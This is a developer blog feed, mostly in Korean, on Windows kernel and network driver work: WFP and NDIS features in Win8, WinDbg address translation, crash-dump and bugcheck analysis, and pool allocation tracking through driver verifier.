zpacket - WSK/WFP/NDIS

Win8 Network Kernel Debugging Support

noreply@blogger.com (reinhard v.z.) — Fri, 03 Feb 2012 07:27:00 +0000

http://channel9.msdn.com/Events/BUILD/BUILD2011/HW-98P

Windows 8 부터 이더넷 카드를 통해 네트워크 디버깅을 할 수 있게 되었습니다.
USB3 역시 같이 지원이 되는데. 기존 USB2에선 별도의 Dongle 이 필요했던 반면 XHCI USB Controller가 보드에 있는 경우에 대해 별도의 동글없이 디버깅이 된다고 합니다.
한가지 의문은 저같이 네트워크 드라이버를 디버깅하는 경우엔 네트워크 카드 두개가 설치되면 디버깅이 가능한지 의문이네요... win8 preview 버전으로 한번 해봐야 겠습니다.

WDK 의 PREFAST/OACR 적용 시 문제점

noreply@blogger.com (reinhard v.z.) — Tue, 17 Jan 2012 15:00:00 +0000

얼마전 부터 WDK 의 OACR(Auto Code Review) 기능을 이용해 보려고 이것저것 자료도 보고 지인에게 물어도보고 하면서 기존 프로젝트에 적용을 해 보았습니다.

(OACR 은 구 PREFAST 를 확장해서 구현해 놓은 새로운 버전의 PREFAST 빌드 환경이라고 보면됩니다.)

결론적으로 OACR 은 WDK 7600 최신버전에서만 적용될 수 있는 툴 이기 때문에 기존 프로젝트에 적용하기가 애매한 부분이 있었습니다. 왜냐하면 7600 에선 Win2K 빌드환경을 더이상 지원하지 않기 때문이죠. 9X와 NT40 은 버려졌다고 봐도 무방합니다만 2K 는 아직 지원을 끊기 어렵다고 보여집니다.

MS가 아무리 2K는 물론 XPsp2까지 지금시점에서 끊어내려고 한다해도 그건 MS의 영업적 측면의 정책일 뿐이지, 우리와 같은 써드파티 개발업체 입장에서도 그와 동일한 정책을 써야한다고 생각한다면 오산입니다.

고객이 아직은 Win2K 지원을 원하고 있기도 하고, NT 커널모드 드라이버의 개발환경은 기본적으로 Win2K 환경을 근간으로 하고 있기 때문입니다.(버전에 따른 컴파일 지시자 관련)

개인적으로, Win2K 빌드 환경을 최종지원하는 WDK 6001버전을 사용하는 것을 권장 드립니다. 쉽게 말해 WDK6001 하나면 전체 WinOS 를 다 커버 할 수 있게 빌드 환경을 구성할 수 있죠.

물론... '나는 빌드 환경을 OS 구분하여 빌드하고 나오는 결과물도 별도로 하겠다' 라는 분들에겐 예외입니다. (XP이후와 2K버전의 바이너리를 별도 지원하게 한다는 게 납득이 갈지 모르겠지만요)

또 다른 문제는 SAL2.0 적용 여부의 문제인데, 7600 WDK 부터는 드라이버 개발 코딩 시 코딩 프랙티스 및 주석(annotation) 에 신경을 많이 쓰도록 하고 있고 이를 OACR 에서 체크하도록 하고 있습니다. 그러나 이 문법은 6001 버전에 적용 되어 있지 않아 기존 프로젝을 SAL2.0 구문에 맞게 전부 수정해야 하는 부담이 생기게 되고, 7600에 있는 SAL annotaion 주석 관련 헤더를 6001에 적용하여 해 볼 수 있을 지는 모르겠으나 이렇게 까지 해가며 SAL2.0 annotation 을 신경 써야 하는 지는 의문입니다.
결국 노가다가 되겠지요...ㅋ

그냥 컴파일 스위치 /W4 에 6001 PREFAST 빌드 정도 까지만 해도 무난하지 않나 싶습니다만...

PassThru IM 드라이버를 상용 모듈에 넣을 때 고려사항.

noreply@blogger.com (reinhard v.z.) — Fri, 06 Jan 2012 12:52:00 +0000

설치 문제라든지 다른 모듈과의 호환성 문제는 제외하고 passthru 샘플 구현 자체에 대해 두 가지 정도를 얘기해 보겠습니다.

1. 우선 과거 포스팅에서도 언급했 듯이 자원에 대한 Manager가 필요합니다. 드라이버 자체가 소요하는 자원에 대한 관리는 어느 정도 기본 샘플에서 구현하고 있죠. 미니포트 어댑터에 대한 인스턴스 관리 및 기타 자원에 대한 관리가 이루어 지고 있으나, Rx/Tx 단으로 바운드 되는 패킷들에 대한 관리가 구현되어 있지 않습니다.

패킷을 단지 PassThru 만 한다면 관계없겠지만. (Deep) Inspecting 을 한다거나, Modify를 하는 경우에는 패킷(풀)에 대한 관리가 필수 입니다. IN/OUT 에서 룩어사이드리스트 와 같은 것으로 패킷 리스트를 구현해서 reference counting 을 시켜주면서 원하는 필터링 로직을 돌려주어야 하겠죠.

2. 제일 문제가 되는 PtReceive 핸들러를 적절히 수정해야 합니다. PtReceive 핸들러는 구형 랜카드 즉, 구형 인터페이스(룩-어헤드 버퍼 관련) 에 대응되도록 현재 샘플에 구현되어 있지 않습니다. Rx 단은 과거 BandWith가 낮았던 시절에 NDIS가 설계됨으로 인해 low-Bandwith가 고려된 측면이 있어서 구형 랜카드의 경우 1번의 Rx로 전체 패킷이 넘어오지 않는 경우가 있습니다. 이런 경우 IM 에서 미니포트 드라이버 쪽으로 패킷을 한 번 전송 받고 난 후 나머지 패킷에 대한 재전송 요구와 재전송이 이루어 진 뒤의 처리 과정을 추가로 수행 해야 합니다.

Converting Virtual Addresses to Physical Addresses

noreply@blogger.com (reinhard v.z.) — Tue, 27 Dec 2011 01:30:00 +0000

Most debugger commands use virtual addresses, not physical addresses, as their input and output. However, there are times that having the physical address can be useful.
There are two ways to convert a virtual address to a physical address: by using the !vtop extension, and by using the !pte extension.

Address Conversion Using !vtop

Suppose you are debugging a target computer on which the MyApp.exe process is running and you want to investigate the virtual address 0x0012F980. Here is the procedure you would use with the !vtop extension to determine the corresponding physical address.
Converting a virtual address to a physical address using !vtop

Make sure that you are working in hexadecimal. If necessary, set the current base with the N 16 command.
Determine the byte index of the address. This number is equal to the lowest 12 bits of the virtual address. Thus, the virtual address 0x0012F980 has a byte index of 0x980.
Determine the directory base of the address by using the !process extension:
kd> !process 0 0
**** NT ACTIVE PROCESS DUMP ****
....
PROCESS ff779190 SessionId: 0 Cid: 04fc Peb: 7ffdf000 ParentCid: 0394
DirBase: 098fd000 ObjectTable: e1646b30 TableSize: 8.
Image: MyApp.exe
Determine the page frame number of the directory base. This is simply the directory base without the three trailing hexadecimal zeros. In this example, the directory base is 0x098FD000, so the page frame number is 0x098FD.
Use the !vtop extension. The first parameter of this extension should be the page frame number. The second parameter of !vtop should be the virtual address in question:
kd> !vtop 98fd 12f980
Pdi 0 Pti 12f
0012f980 09de9000 pfn(09de9)
The second number shown on the final line is the physical address of the beginning of the physical page.
Add the byte index to the address of the beginning of the page: 0x09DE9000 + 0x980 = 0x09DE9980. This is the desired physical address.

You can verify that this computation was done correctly by displaying the memory at each address. The !d* extension displays memory at a specified physical address:

kd> !dc 9de9980
# 9de9980 6d206e49 726f6d65 00120079 0012f9f4 In memory.......
# 9de9990 0012f9f8 77e57119 77e8e618 ffffffff .....q.w...w....
# 9de99a0 77e727e0 77f6f13e 77f747e0 ffffffff .'.w>..w.G.w....
# 9de99b0 .....

The d* (Display Memory) command uses a virtual address as its argument:

kd> dc 12f980
0012f980 6d206e49 726f6d65 00120079 0012f9f4 In memory.......
0012f990 0012f9f8 77e57119 77e8e618 ffffffff .....q.w...w....
0012f9a0 77e727e0 77f6f13e 77f747e0 ffffffff .'.w>..w.G.w....
0012f9b0 .....

Because the results are the same, this indicates that the physical address 0x09DE9980 does indeed correspond to the virtual address 0x0012F980.

Address Conversion Using !pte

Again, assume you are investigating the virtual address 0x0012F980 belonging to the MyApp.exe process. Here is the procedure you would use with the !pte extension to determine the corresponding physical address:
Converting a virtual address to a physical address using !pte

Make sure that you are working in hexadecimal. If necessary, set the current base with the N 16 command.
Determine the byte index of the address. This number is equal to the lowest 12 bits of the virtual address. Thus, the virtual address 0x0012F980 has a byte index of 0x980.
Set the process context to the desired process:
kd> !process 0 0
**** NT ACTIVE PROCESS DUMP ****
....
PROCESS ff779190 SessionId: 0 Cid: 04fc Peb: 7ffdf000 ParentCid: 0394
DirBase: 098fd000 ObjectTable: e1646b30 TableSize: 8.
Image: MyApp.exe

kd> .process /p ff779190
Implicit process is now ff779190
.cache forcedecodeuser done
Use the !pte extension with the virtual address as its argument. This displays information in two columns. The left column describes the page directory entry (PDE) for this address; the right column describes its page table entry (PTE):
kd> !pte 12f980
VA 0012f980
PDE at C0300000 PTE at C00004BC
contains 0BA58067 contains 09DE9067
pfn ba58 ---DA--UWV pfn 9de9 ---DA--UWV
Look in the last row of the right column. The notation "pfn 9de9" appears. The number 0x9DE9 is the page frame number (PFN) of this PTE. Multiply the page frame number by 0x1000 (for example, shift it left 12 bits). The result, 0x09DE9000, is the physical address of the beginning of the page.
Add the byte index to the address of the beginning of the page: 0x09DE9000 + 0x980 = 0x09DE9980. This is the desired physical address.

This is the same result obtained by the earlier method.

Converting Addresses By Hand

Although the !ptov and pte extensions supply the fastest way to convert virtual addresses to physical addresses, this conversion can be done manually as well. A description of this process will shed light on some of the details of the virtual memory architecture.
Memory structures vary in size, depending on the processor and the hardware configuration. This example is taken from an x86 system that does not have Physical Address Extension (PAE) enabled.
Using 0x0012F980 again as the virtual address, you first need to convert it to binary, either by hand or by using the .formats (Show Number Formats) command:

kd> .formats 12f980
Evaluate expression:
Hex: 0012f980
Decimal: 1243520
Octal: 00004574600
Binary: 00000000 00010010 11111001 10000000
Chars: ....
Time: Thu Jan 15 01:25:20 1970
Float: low 1.74254e-039 high 0
Double: 6.14381e-318

This virtual address is a combination of three fields. Bits 0 to 11 are the byte index. Bits 12 to 21 are the page table index. Bits 22 to 31 are the page directory index. Separating the fields, you have:

0x0012F980 = 0y 00000000 00 010010 1111 1001 10000000

This exposes the three parts of the virtual address:

Page directory index = 0y0000000000 = 0x0
Page table index = 0y0100101111 = 0x12F
Byte index = 0y100110000000 = 0x980

You then need three additional pieces of information for your system.

The size of each PTE. This is 4 bytes on non-PAE x86 systems.
The size of a page. This is 0x1000 bytes.
The PTE_BASE virtual address. On a non-PAE system, this is 0xC0000000.

Using this data, you can compute the address of the PTE itself:

PTE address = PTE_BASE
+ (page directory index) * PAGE_SIZE
+ (page table index) * sizeof(MMPTE)
= 0xc0000000
+ 0x0 * 0x1000
+ 0x12F * 4
= 0xC00004BC

This is the address of the PTE. The PTE is a 32-bit DWORD. Examine its contents:

kd> dd 0xc00004bc L1
c00004bc 09de9067

This PTE has value 0x09DE9067. It is made of two fields:

The low 12 bits of the PTE are the status flags. In this case, these flags equal 0x067 — or in binary, 0y000001100111. For an explanation of the status flags, see the !pte reference page.
The high 20 bits of the PTE are equal to the page frame number (PFN) of the PTE. In this case, the PFN is 0x09DE9.

The first physical address on the physical page is the PFN multiplied by 0x1000 (shifted left 12 bits). The byte index is the offset on this page. Thus,the physical address you are looking for is 0x09DE9000 + 0x980 = 0x09DE9980. This is the same result obtained by the earlier methods.

WFP Win8 추가사항

noreply@blogger.com (reinhard v.z.) — Thu, 22 Dec 2011 04:51:00 +0000

이번에 공개된 Windows Developer Preview 버전을 기점으로 WFP 에 추가된 콜아웃은 3가지 입니다.

1. Layer 2 Filtering

2. Proxied Connections Tracking

3. Virtual Switch Filtering

예전부터 말이 많았던 Layer 2 지원에 관련된 부분이 이제서야 추가되네요. 이 기능은 솔직히 적어도 Win7 에는 추가되었어야 했는데 8 부터 지원되게 되어 정말 아쉽네요.
제가 개발하고 있는 네트워크 필터의 경우 IM+WFP 의 구조를 갖는데... IM 이 들어가게 된 이유가 바로 이 Layer2를 필터링하지 못했기 때문입니다. 그런데 이제와서 8부터 지원한다고 하니 기분이 않좋아지네요...ㅎㅎ
기본적인 MAC Frame 필터링에 Inject 기능 까지 되는 것 같습니다.

그리고 Proxied Connection Tracking 이라든지... Virtual Switch Filtering 은 최근 나오고 있는 SSL 프록시라든지, VM 서버류의 제품군에 대한 필터링을 지원하기 위한 용도로 포함된 것으로 보입니다.

자세한 내용은 하기 링크를 참고하시기 바랍니다.
http://msdn.microsoft.com/en-us/library/windows/hardware/hh440262(v=VS.85).aspx

시만텍의 Anti-Virus 평판 시스템에 관하여

noreply@blogger.com (reinhard v.z.) — Tue, 06 Dec 2011 14:48:00 +0000

아무리 생각해봐도 평판 시스템은 아닌것 같다.

여러 자동화 이슈라든지, 빠른 사후대응 관점에서 클라우드 기반의 안티바이러스 네트웍은 하나의 대안으로써 그나마 이해 할 수 있겠으나, 평판(reputation)은 갈때까지 갔다는 느낌이다. 기술적 진전이 아닌 포장일 뿐이라는 ...

기본은 화이트리스트 AV에서 출발했다고 볼 수 있으나 행위기반(Behavioural) Analysis 관점에서 하나의 접근방식, 즉 일개 기능으로 볼 수 있는 부분인 듯 하다. 그러나 시만텍은 마치 이것이 새로운 혁명인듯 과대광고를 해댔다.

실제 시만텍의 엔드포인트 프로텍션 제품이 좋은 성능을 가지고 있는 것은 사실인듯 하나 이 성능은 평판시스템의 성능이라고 할 수 없다.

평판시스템의 가장 큰 문제는 Suspicious진단의 오진이다. 그러나 평판시스템의 본질적인 문제는 AV 가 수행해야 할 바이러스 진단의 영역을 사용자들에게 넘겨 버렸다는 점 일 것이다.

기억하는가? 윈도 비스타에서 채용했던 UAC 경고창 문제를... MS 가 Windows의 보안을 해결하기 위해 선택한 방법은 무책임하게도 그 해결책을 사용자들에게 전가시켜 버렸다는 점이다. 만약에 경고창에 대해 사용자가 OK 했고 그 이후 문제가 발생되어도 사용자가 OK 한것 이기 때문에 MS 잘못이 아니라는 식이다.

평판시스템도 이러한 방식으로 교묘하게 AV 진단의 영역에서 오진의 문제를 사용자 평판의 문제로 넘겨버렸다.

정말 AV 진단을 평판으로 넘겨버려도 되는 일인가? 엔지니어로서의 자존심에 금이 가는 문제는 아닌가?

WFP TCP 연결 Lifetime Management

noreply@blogger.com (reinhard v.z.) — Wed, 30 Nov 2011 08:36:00 +0000

TCP 의 연결관리는 Tcp Control Block (TCB) 을 통해 관리 됩니다. Windows 커널단에선 TCP 연결이 TDI 계층에서 파일객체 형태로 표현되며, 따라서 TCP 연결 종료는 파일객체가 Close되는 시점에서(CleanUp) 통지될 수 있습니다.
WFP 에선 Win7 부터 지원되는 FWPS_LAYER_ALE_ENDPOINT_CLOSURE_VX, FWPS_LAYER_ALE_RESOURCE_RELEASE_VX 콜아웃을 통해 TCP 연결관리를 구현 할 수 있는데, 콜아웃으로 들어오는 inMetaValues->transportEndpointHandle 의 핸들이 구 TDI에서 파일객체로 표현되던 TCP 연결에 대한 핸들을 의미 합니다. 요 녀셕을 잘 관리해 주어야 하죠.

7 이전의 Vista에선 Stream Layer의 FlowDelete 를 연관시키는 구현을 통해 이를 확인할 수 있다고 이전에 포스팅한 바 있습니다.

그리고 다시 한번 얘기하자면, 연결이 유실된다든지 하는 TCP연결 타임아웃에 대해선 통보를 받을 수 없습니다. TCP/IP 는 연결 유실을 통보하지 않도록 설계되어 있기 때문으로 이에 유의해야 합니다.

Receive Side Coalescing in WFP

noreply@blogger.com (reinhard v.z.) — Tue, 22 Nov 2011 04:33:00 +0000

Receive Side Coalescing(RSC) 기술은 최근 NIC에 적용되기 시작하고 있는 RX 단 퍼포먼스 최적화 기술로 TCP/IP의 I/O Accelerating 에 관련된 최신 스펙입니다.
그림에서 볼 수 있듯이 RSC 를 적용한 이후에는 미니포트단에서 연관된 패킷을 인접지역 메모리 영역으로 배치하여 프로토콜 스택으로 올려줌으로 인해 프로토콜스택에서의 메모리접근 오버헤드를 경감시킬 수 있게 됩니다.

최근 10G (10기가비트) 가 적용되는 상황에서 최대 64K 크기의 대용량 패킷이 1518 Maximum의 이더넷 패킷으로 쪼개져서 들어오고 패킷을 읽어들일 메모리의 영역에 대한 접근 오버헤드가 
RSC 와 같은 형태로 고려되지 않는다면 TCP/IP 프로토콜 스택의 성능이 떨어질 수 밖에 없게 되겠죠. 

예전 블로깅에서도 잠시 소개했었던 Receive Side Scaling 이라든지, TOE(Task Offload Engine ) 등의 기술은 MP(Multi-processor) 환경이 되어야만 한다든지, 혹은 프로토콜 스택에 변형을 주어야만 하는것에 반해,
RSC 는 프로토콜 스택에는 무관하게 , 또는 투명하게(Transparent) 제공될 수 있는 기술이라는 점에서 의미가 있습니다. 
그러므로 이 기술은 NIC 과 운영체제를 통해 제공될 수 있으며, Windows 에선 하이퍼V 가 제공되는 Windows 8 Server 를 통해 제공될 것으로 알려졌습니다.

최근 5년여 사이에 서버단의 I/O 처리 병목현상에 대한 연구가 활발히 진행되고 있는데, 이에 대한 가시적인 결과로 나타나고 있는 것이 이와 같은 RSS,RSC 기술들과 RDMA(Remote Direct Memory Access), Direct Cache Access (DCA) 등
의 기술들을 가져오고 있고, 최신 가상화 트랜드와 맞물리면서 가상화서버의 I/O 처리 병목현상에 대한 solution들이 계속적으로 나오고 있는 것으로 보입니다.

사실 현재까지 소개되고 있는 기술들은 I/O 병목처리의 기술적 진전을 이루었다기 보다는 일종의 꼼수를 써서 성능을 쥐어짜내고 있다고 보는 것이 맞을 것입니다.(호환성 때문이랄지...)

I/O 병목현상에 대한 근본적인 해결점을 제시하는 결과는 II/OAT(Intel I/O Acceleration Technologies) 와 같은 접근이 개인적으로 적합하다고 보고, MS는 Chimney 구조를 NDIS 6.2를 통해 발표하였습니다.

얼마전 만해도 랜카드는 아무거나 사다끼면 됬다 싶었는데... 관리자들이 머리가 아파지기 시작할 겁니다. 

WFP 에선 RSC 가 적용된 Win8 환경에서 10G 패킷에 대해 어떻게 처리할 지에 대한 코멘트가 있어서 소개합니다.

Receive Side Coalescing (RSC) as described in the attached paper is a technology for sending large packets up the stack by combing them at the NIC.  In order to not send an unexpected size for a NBL/NB to your WFP callout, we have a new flag for when you register your WFP callout.  If the flag is not set, and you register a WFP callout, it will prevent RSC from working (similar to offload technologies).
The following flag is in Windows8:
FWP_CALLOUT_FLAG_RSC
A callout driver specifies this flag to indicate that the callout supports RSC with large packets of up to 64K. If this flag is not specified, and a callout is registered, then RSC is disabled for all traffic that is processed by any filters that specify the callout for the filter's action.

요약하자면, RSC 를 맞보고 싶다면 콜아웃 등록할 때 플래그를 추가하면 되고, 플래그가 없이 등록되면 RSC 가 Disable 된다는 뜻 입니다.

RSC 를 인에이블해서 64K 패킷을 보고 싶으신가요? 아니면 예전방식대로 필터링하고 싶으신가요?...

WFP Transport 계층의 FwpsInjectTransportReceiveAsync0 관련 버그

noreply@blogger.com (reinhard v.z.) — Thu, 17 Nov 2011 08:58:00 +0000

fffff880`01fc47c8 fffff800`0168e1e9 : 00000000`0000000a 00000000`00000004 00000000`00000002 00000000`00000001 : nt!KeBugCheckEx
fffff880`01fc47d0 fffff800`0168ce60 : 00000000`00000000 fffff880`01e68180 fffffa80`034bd0e0 fffffa80`0228fc30 : nt!KiBugCheckDispatch+0x69
fffff880`01fc4910 fffff880`01732fc9 : 00000000`00000000 fffffa80`0228fd38 00000000`00000002 00000000`00000000 : nt!KiPageFault+0x260
fffff880`01fc4aa0 fffff880`0177a02e : fffff880`017b19a0 fffffa80`01c00b40 fffffa80`03e86b40 fffff880`0126532e : tcpip!IppFindAnySubInterfaceOnInterfaceUnderLock+0x9
fffff880`01fc4ad0 fffff880`0184daf6 : fffffa80`03fc3902 fffffa80`03fc39e0 00000000`00000002 00000000`00000000 : tcpip!IppInspectInjectReceive+0xae
fffff880`01fc4b10 fffff880`053ce851 : fffffa80`02e09a30 fffffa80`03e86b40 00000000`00000000 00000000`0ad6ffff : fwpkclnt!FwpsInjectTransportReceiveAsync0+0x256
fffff880`01fc4bc0 fffff880`053ce91d : fffffa80`03e86b40 00000000`00000001 00000000`00000000 00000002`00000005 : PktIcpt!PktIcptCloneReinjectInbound+0x171 [d:\security\branches\r_2012_pipe\common\avkfirewall\vistapkt2\sys\pktinterceptor.cpp @ 1459]
fffff880`01fc4c40 fffff880`01287ef3 : 00000000`00000000 fffffa80`03713840 fffffa80`03713840 00000000`00000001 : PktIcpt!PktIcptQueueItemWorkerRoutine+0xa9 [d:\security\branches\r_2012_pipe\common\avkfirewall\vistapkt2\sys\pktinterceptor.cpp @ 1541]
fffff880`01fc4c70 fffff800`01699001 : fffff880`01287eb0 fffff800`0182f2b8 fffffa80`01899680 00000000`00000000 : fltmgr!FltpProcessGenericWorkItem+0x43
fffff880`01fc4cb0 fffff800`01929fee : 058d4c18`498b4818 fffffa80`01899680 00000000`00000080 fffffa80`0188f040 : nt!ExpWorkerThread+0x111
fffff880`01fc4d40 fffff800`016805e6 : fffff880`01e68180 fffffa80`01899680 fffff880`01e72fc0 4c538b54`74c43b49 : nt!PspSystemThreadStartup+0x5a
fffff880`01fc4d80 00000000`00000000 : fffff880`01fc5000 fffff880`01fbf000 fffff880`01fc45c0 00000000`00000000 : nt!KxStartSystemThread+0x16

위와 같은 스택이 형성된 덤프는 win7 의 버그라고 합니다.

인바운드의 Transport 계층은 사용을 하지 말라는 얘기네요...

http://social.msdn.microsoft.com/Forums/en/wfp/thread/7a820b8a-b7d5-418b-922e-22117d49fd6c

Driver Signing will be required by DEFAULT for 32-bit Windows 8 UEFI Secure Boot-enabled Platforms

noreply@blogger.com (reinhard v.z.) — Fri, 11 Nov 2011 02:37:00 +0000

Win8에서 적용될 UEFI Secure-Boot 옵션의 경우 , 해당 옵션이 Enable 되었을 경우 드라이버는 코드사인이 반드시 되어야 한다고 합니다.

기존에는 64비트 Windows 에서만 코드사인에 대한 의무가 있었으나, 시큐어-부트 32비트 OS에서도 코드사인이 반드시 필요하게 되어 관련 담당자들이 미리 대비하여야 할 것 같습니다.

결론적으로, Win8 부터는 32비트 드라이버에 대해서도 코드사인을 의무적으로 하게 만드는 유도효과가 있을 것으로 생각됩니다. 왜냐하면, 시큐어부트 옵션에따라 사인되고/되지 않고의 모듈을 별도로 배포하는 업체는 거의 없을 거라는거죠. 왠만하면 32비트 드라이버도 그냥 코드사인하는 쪽으로 정책을 바꿀것입니다.

UEFI 에 대한 설명은 다음 링크를 참고하세요

http://blogs.msdn.com/b/b8_ko/archive/2011/09/28/uefi-os.aspx

INVALID_PROCESS_ATTACH_ATTEMPT BugCheck

noreply@blogger.com (reinhard v.z.) — Mon, 07 Nov 2011 06:12:00 +0000

일전에 올렸던 덤프의 분석이 잘못되어 수정하여 다시 올립니다.

0: kd> !analyze -v
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************

INVALID_PROCESS_ATTACH_ATTEMPT (5)
Arguments:
Arg1: 8473da20
Arg2: 8671e508
Arg3: 00000000
Arg4: 00010000

Debugging Details:
------------------

Page ae251 not present in the dump file. Type ".hh dbgerr004" for details

DEFAULT_BUCKET_ID: VISTA_DRIVER_FAULT

BUGCHECK_STR: 0x5

PROCESS_NAME: lsass.exe

CURRENT_IRQL: 0

LAST_CONTROL_TRANSFER: from 82297796 to 822dfe34

STACK_TEXT:
8e782b7c 82297796 00000005 8473da20 8671e508 nt!KeBugCheckEx+0x1e
8e782ba8 82425fec 8473da20 8e782bd0 8677d030 nt!KeStackAttachProcess+0x3f
8e782bec 82448cd2 8473da20 8b801d10 8677d030 nt!ObpDecrementHandleCount+0x125
8e782c30 8244a4d2 8b801d10 972dbc98 8473da20 nt!ObpCloseHandleTableEntry+0x203
8e782c60 8244a64a 8473da20 00000000 8e782d04 nt!ObpCloseHandle+0x7f
8e782c7c 822463ea 80000e4c 8e782d0c 82243d4d nt!NtClose+0x4e
8e782c7c 82243d4d 80000e4c 8e782d0c 82243d4d nt!KiFastCallEntry+0x12a
8e782cf8 823f5fc2 80000e4c 007ef254 80000e4c nt!ZwClose+0x11
8e782d0c 823f6011 fffffffe 007ef254 00000000 nt!SepRegQueryDwordValue+0x3f
8e782d28 822463ea fffffffe 007ef28c 770c6344 nt!NtImpersonateAnonymousToken+0x45
8e782d28 770c6344 fffffffe 007ef28c 770c6344 nt!KiFastCallEntry+0x12a
WARNING: Frame IP not in any known module. Following frames may be wrong.
007ef28c 00000000 00000000 00000000 00000000 0x770c6344

OS 내부에서 파일 Close를 하다가 KeStackAttachProcess 과정 중에

0: kd> uf nt!KeStackAttachProcess
nt!KeStackAttachProcess:
82297757 8bff mov edi,edi
82297759 55 push ebp
8229775a 8bec mov ebp,esp
8229775c 51 push ecx
8229775d 53 push ebx
8229775e 56 push esi
8229775f 648b3524010000 mov esi,dword ptr fs:[124h]
82297766 648b0d541a0000 mov ecx,dword ptr fs:[1A54h]
8229776d b801000100 mov eax,10001h
82297772 57 push edi
82297773 85c8 test eax,ecx
82297775 7420 je nt!KeStackAttachProcess+0x3f (82297797)

nt!KeStackAttachProcess+0x20:
82297777 648b0d541a0000 mov ecx,dword ptr fs:[1A54h]
8229777e 23c8 and ecx,eax
82297780 0fb68634010000 movzx eax,byte ptr [esi+134h]
82297787 51 push ecx
82297788 50 push eax
82297789 ff7650 push dword ptr [esi+50h]
8229778c ff7508 push dword ptr [ebp+8]
8229778f 6a05 push 5
82297791 e880860400 call nt!KeBugCheckEx (822dfe16)
82297796 cc int 3

fs:[1A54h] 의 값 즉, DPC가 Active 되어 있을 때 Setting 되는 값(_KPRCB 의 0x120(PrcbData) + 0x1932(DpcRoutineActive) = 1A54h ) 으로,
결국 DPC 가 Active 되어 있는 상태에서 KeStackAttachProcess 가 실행됨을 OS가 버그체크로 막고 있는 상황이라고 볼 수 있습니다.

따라서 DPC가 실제 활성화 되어 있는 지 확인해 볼 필요가 있고, 시스템의 다른 커널 스택들을 찾아본 결과

0: kd>!stacks 2 MyDrv

[8473da20 System]
4.000050 847f7020 0000000 Blocked nt!KiSwapContext+0x26
nt!KiSwapThread+0x266
nt!KiCommitThreadWait+0x1df
nt!KeWaitForSingleObject+0x393
MyDrv+0xa1e0
MyDrv+0xa523
MyDrv+0xb0c7
MyDrv+0xc47f
MyDrv+0xc837
MyDrv+0x28bd
MyDrv+0x8982
MyDrv+0x7926
ACPI!ACPIDispatchForwardIrp+0x2a
ACPI!ACPIIrpDispatchDeviceControl+0xa4
ACPI!ACPIDispatchIrp+0x198
nt!IofCallDriver+0x63
MyDrv+0x797a
Wdf01000!imp_WdfRequestSend+0x2de
MOSUMAC+0x71b9
MOSUMAC+0x733b
MOSUMAC+0x73c3
nt!KiExecuteAllDpcs+0xf9
nt!KiExecuteDpc+0xb0
nt!PspSystemThreadStartup+0x9e
nt!KiThreadStartup+0x19

이와 같은 스택을 찾을 수 있었습니다.
DPC 가 불렸고, DPC 안에서 비동기 IRP 쿼리를 수행 중인데... MyDrv 에서 Wait 를 하는게 보입니다. 그 이후로는 컨텍스트 스위칭이 된 상태 이고, 버그체크가 발생된 쓰레드의 컨텍스트에서 StackAttach 를 하는 순간 동일 프로세서의 DPC 상태정보가 Active 되어 있는 것을 보고는 버그체크를 띄운 셈이죠.

이전에 게시했던 잘못된 내용은 프로세스(System) 의 DPC 정보가 쓰레드 간에 공유되어 문제가 발생되었다고 했는데 이것은 잘못된 것으로 DPC Active 된 정보는 프로세서(KPRCB) 의 정보입니다. (혼동없으시길)

보통 디스패치레벨에서 Wait 를 하게되면, ATTEMPTED_SWITCH_FROM_DPC (b8) 버그체크가 발생되는게 일반적입니다만, 이와 같은 버그체크도 발생될 수 있다는 것 정도만 알아두어도 될 것 같습니다.

DPC가 Active되어 있는지 확인하는 길은 ntoskrnl 에서 KeIsExecutingDpc export 함수를 이용하면 됩니다.

Call Stacks for Pool Allocations

noreply@blogger.com (reinhard v.z.) — Tue, 01 Nov 2011 01:49:00 +0000

Call Stacks for Pool Allocations:

Hello, it's the Debug Ninja back again for another NtDebugging Blog article. For as long as I can remember user mode debuggers have had an easy way to get call stacks for heap allocations. On more recent versions of Windows this has been as simple as using gflags +ust and umdh or !heap -k. Kernel debuggers have not always had an easy way to determine who allocated a pool block. Sure, we have pool tags to help us out, but often a programmer will use the same tag in many places and devalue this as a troubleshooting technique.

Fortunately, starting in Windows Vista and Server 2008, kernel debuggers can get call stacks from pool allocations. We can even get call stacks from pool frees. This little known technique is not quite as useful as gflags +ust is for heap, but when it is needed it is very useful.

First, you need to turn on special pool using driver verifier. Verifier will obtain and track the call stack for the allocation and the free, so this technique will not work with traditional special pool as documented in KB188831 because those settings do not use driver verifier. Because special pool requires additional memory overhead to run, this technique is not valuable for large memory leaks. However, this technique is a good way to determine what code allocated or freed your pool block in other conditions. For example, this works well if you find that pool has been freed when you expected it to be allocated. This also works for smaller memory leaks, especially those for which you can easily reproduce the leak. Analyzing the allocations and stacks for a leak must be done by hand, as there is no umdh-like tool for kernel mode.

Step 1 - Turning on verifier

In this example I am using Sysinternals’ notmyfault tool to generate the pool allocations. Because I know the driver in question I set verifier to only monitor that driver. Note that a reboot is required to make this setting take effect.

Verifier /flags 1 /driver myfault.sys

Step 2 - Finding the pool allocation to analyze

For this example I am going to find the call stack of a leaked pool allocation. First find the tag that is using the most pool by using !poolused.

kd> !poolused 4

Sorting by Paged Pool Consumed

Pool Used:

NonPaged Paged

Tag Allocs Used Allocs Used

Leak 0 0 23 23552000 UNKNOWN pooltag 'Leak', please update pooltag.txt

CM31 0 0 20520 18514560 Internal Configuration manager allocations , Binary: nt!cm

CIcr 0 0 2977 8511504 Code Integrity allocations for image integrity checking , Binary: ci.dll

Next find the pool allocations for that tag with !poolfind. There is some guessing to be done with all pool leak debugging techniques; you can’t be sure that the allocation you’re looking at has really been leaked and is not just in a state where it has not yet been freed. You need to make an educated guess because there is no umdh-type functionality to analyze allocates and frees. If you have the benefit of a live debug you can go the debugger and check back later to see if the memory has been freed or not.

kd> !poolfind Leak

Scanning large pool allocation table for Tag: Leak (fffffa8002e00000 : fffffa8002f80000)

*fffff8a006a00000 :large page allocation, Tag is Leak, size is 0xfa000 bytes

*fffff8a0058fa000 :large page allocation, Tag is Leak, size is 0xfa000 bytes

*fffff8a006200000 :large page allocation, Tag is Leak, size is 0xfa000 bytes

*fffff8a0068fa000 :large page allocation, Tag is Leak, size is 0xfa000 bytes

*fffff8a0060fa000 :large page allocation, Tag is Leak, size is 0xfa000 bytes

*fffff8a005a00000 :large page allocation, Tag is Leak, size is 0xfa000 bytes

*fffff8a006c00000 :large page allocation, Tag is Leak, size is 0xfa000 bytes

*fffff8a006400000 :large page allocation, Tag is Leak, size is 0xfa000 bytes

